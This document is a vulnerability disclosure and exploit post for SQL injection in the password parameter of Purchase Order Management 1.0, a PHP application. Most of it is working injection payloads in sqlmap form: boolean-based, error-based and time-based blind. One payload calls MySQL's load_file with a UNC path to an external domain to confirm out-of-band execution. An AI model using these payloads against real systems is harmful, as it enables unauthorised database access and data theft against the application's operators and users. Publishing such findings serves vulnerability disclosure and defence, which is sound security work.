Purchase Order Management 1.0 SQL Injection Vulnerability

## Title: Purchase Order Management-1.0 - SQLi
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/user/257130/activity
## Software: https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The `password` parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvik.stupid.com\\aej'))+'
was submitted in the password parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.

STATUS: HIGH Vulnerability - CRITICAL

[+]Payload:
```mysql
---
Parameter: password (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=pwKLHXbY&password=-4290') OR 6172=6172 AND ('XovE'='XovE

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: username=pwKLHXbY&password=j3X!k3l!R0'+(select
load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvikkc0rcehfjmie8te5szqd23hxgomfa5yu.stupid.com\\aej'))+'')
OR (SELECT 8766 FROM(SELECT COUNT(*),CONCAT(0x717a6a6b71,(SELECT
(ELT(8766=8766,1))),0x7162767871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('dncG'='dncG

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=pwKLHXbY&password=j3X!k3l!R0'+(select
load_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvikkc0rcehfjmie8te5szqd23hxgomfa5yu.stupid.com\\aej'))+'')
AND (SELECT 7405 FROM (SELECT(SLEEP(3)))pVNf) AND ('fltf'='fltf
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Purchase-Order-Management-1.0/SQLi)

## Proof and Exploit:
[href](https://streamable.com/w173zp)